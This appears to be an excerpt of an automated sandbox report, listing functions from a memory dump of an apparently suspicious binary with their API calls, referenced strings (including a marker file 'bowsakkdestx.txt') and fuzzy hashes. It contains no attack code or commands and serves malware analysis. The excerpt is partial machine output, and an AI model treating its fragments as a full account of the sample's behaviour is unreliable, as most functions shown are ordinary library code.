Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422A87, 00422AB8, 00422A9F, 00422A44, 00422A3A

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: d9f4c7b52ce170ad08a629e5cafd8bd8da322b05ac09e2ee2f5755b8a70a64da
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: d9f4c7b52ce170ad08a629e5cafd8bd8da322b05ac09e2ee2f5755b8a70a64da
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: d38f1047e7df85797af0b561137eadedeff6a5e02b6b4597d6283ed79f31b173
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: d38f1047e7df85797af0b561137eadedeff6a5e02b6b4597d6283ed79f31b173
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007A0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007A0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 5ded8e805fb9d85925a514c54c7cbea03eca9cd562b5d6178e86047d8f483102
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 5ded8e805fb9d85925a514c54c7cbea03eca9cd562b5d6178e86047d8f483102
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 5be24f0b98d4e6cd06372727c3407ee7e1b841d597e1a6064bb3adaa87b47b95
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 5be24f0b98d4e6cd06372727c3407ee7e1b841d597e1a6064bb3adaa87b47b95
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
